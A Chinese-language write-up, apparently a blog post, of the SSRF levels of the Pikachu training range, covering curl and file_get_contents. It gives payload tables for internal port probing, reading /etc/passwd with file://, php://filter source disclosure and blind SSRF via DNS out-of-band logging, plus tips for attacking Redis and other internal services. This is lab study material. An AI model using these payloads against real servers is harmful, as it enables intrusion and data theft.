皮卡丘靶场解题记录-SSRF
皮卡丘靶场解题记录-SSRF
SSRF(curl)
1、漏洞原理总结:
URL 跳转 = 服务器告诉你”那家店在那”,你自己去;SSRF = 服务器说”你要啥我帮你跑腿去拿”,结果服务器替你去了内网/不该去的地方,还把东西带回来。
2、我的测试过程:

3、核心漏洞代码分析:
1 |
|
4、实战延伸:
实战中容易出 SSRF 的功能点:URL 预览/缩略图、网页转 PDF、远程图片加载、RSS 订阅、支付回调验证。
一些经典的探测目标:
| Payload | 探测什么 |
|---|---|
url=http://127.0.0.1 |
本机 web 服务 |
url=http://127.0.0.1:3306 |
本机 MySQL(看响应判断端口开没开) |
url=http://192.168.1.1 |
内网网关 |
url=file:///etc/passwd |
读本地文件(如果支持 file 协议) |
url=http://内 网IP:端口 |
扫内网端口 |
SSRF(file_get_content)
1、漏洞原理总结:
| curl 版 SSRF | file_get_contents 版 SSRF | |
|---|---|---|
| 读文件的函数 | curl_exec() |
file_get_contents() |
| 能请求 http 内网 | 支持 | 支持 |
能读本地文件(file://) |
curl 不一定支持 | 天然支持 |
能读 PHP 源码(php://filter) |
不支持 | 天然支持 |
| 版本区分 | http:// 开头 |
php://、file://、http:// 都能吃 |
2、我的测试过程:
伪协议,然后这里有个小坑,直接是默认不回显的,会看见一片空白,需要查看源代码找到base64。因为php://filter 输出的 base64 解码后是 PHP 源码,它以
1 | <?php 开头、全是 {} 和 ;。但浏览器收到的响应,Content-Type 是 text/html。浏览器拿到一堆"不像 HTML 的乱码"——它把 <?php ... ?> |
当成了未知标签。渲染没了。
判断一个响应到底有没有内容,不能只看渲染后的页面,要用 Burp/源码视图看原始响应
获得的base64:
1 | PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo= |
解码之后:
1 | <?php |
3、核心漏洞代码分析:
1 | //读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php |
对接受参数没做任何过滤
4、实战延伸:
服务器访问 127.0.0.1(它自己)时,绕过了防火墙——因为防火墙只管外部进来的流量,不管”自己访问自己”。所以很多只监听本机、不对公网开放的敏感服务(数据库、管理后台、Redis),都能被 SSRF 打到。
| Payload | 干什么 |
|---|---|
file=http://127.0.0.1/... |
SSRF 内网请求(跟上一关一样) |
file=file:///etc/passwd |
读本地文件(绕过 curl 限制) |
file=php://filter/read=convert.base64-encode/resource=ssrf.php |
读 PHP 源码 |
补充:涉及到的两个函数
curl_exec()
curl 本身是一个工具/库,专门用来去访问某个网络地址(发 HTTP 请求)。而 curl_exec() 就是 PHP 里”执行这个访问”的命令
1 | $ch = curl_init("http://www.baidu.com"); // 1. 初始化:告诉 curl "去访问这个地址" |
| 行 | 作用 |
|---|---|
| 第 1 行 | 定目标(去哪) |
| 第 2 行 | 设参数 |
| 第 3 行 | 真正去访问 ← 核心 |
| 第 5 行 | 把结果吐出来 |
file_get_contents()
file_get_contents("某地址") = 把那个地址的内容整个读成字符串。
1 | $str = file_get_contents("http://www.baidu.com"); // 读一个网页 |
本地文件、网页、特殊协议都能读
章节答疑:
实战的时候内网url怎么确定?
第一步,内网IP确定
| 网段 | 谁爱用 | 解释 |
|---|---|---|
127.0.0.1 |
所有机器都有的自己 | 每台机器访问自己永远是它 |
10.0.0.0/8(10.x.x.x) |
大型企业、云厂商内部 | 大公司、阿里云/腾讯云内网爱用 |
172.16.0.0/12(172.16~172.31) |
中型网络、Docker | 很多 docker 网络是 172.17.x.x |
192.168.0.0/16 |
家用路由器、小公司 |
猜测顺序:服务器自己、内网网段、结合响应特征猜测
常见端口:
| 端口 | 服务 | 摸到后的价值 |
|---|---|---|
| 80/443 | Web 网站 | 内网网站、后台管理 |
| 3306 | MySQL | 数据库,能爆破/拿密码 |
| 6379 | Redis | 常能 getshell / 写计划任务 |
| 22 | SSH | 内网机器登录口 |
| 8080/8443 | 各种后台 | 内网管理后台 |
| 9200 | Elasticsearch | 常未授权直接读数据 |
| 11211 | Memcached | 未授权 |
实际测试的组合:
1 | ?url=http://127.0.0.1:3306 → 摸自己 MySQL |
怎么判断是否摸到了内网?
看报错信息、请求时间、返回情况
| 服务器返回 | 判断 |
|---|---|
| 内容/报错信息明显不同 | 端口开着,服务在 |
| 长时间卡住 / 连接超时 | 端口关着或防火墙拦(也可能没通) |
| 返回”空白”但请求出去了 | 有回显就要仔细看差异 |
技巧:同一个地址,扫 80(开)和随便一个没用的端口(关)做对比,看两种响应有啥不同。
如果没有回显(盲 SSRF)怎么办?DNS 外带
只要能确定访问了就可以,通过dns记录或者时间延迟判断
| 技巧 | 做法 | 原理 |
|---|---|---|
| DNS 外带 | 让自己的域名/工具(如 burp collaborator、dnslog.cn)去记录服务器发起的请求 | 服务器只要访问了指定的域名,DNS 记录里就有它 |
| 时间盲测 | 让服务器请求一个会很慢的地址看延迟 | 有延迟 = 请求发出去了 |
==总结:内网url不用乱猜——127.0.0.1永远第一优先,其次用固定网段 10.x/172.x/192.168.x + 常见端口(3306/6379/80/22)组合试探;有回显看内容差异,没回显就用 DNS 外带验证。==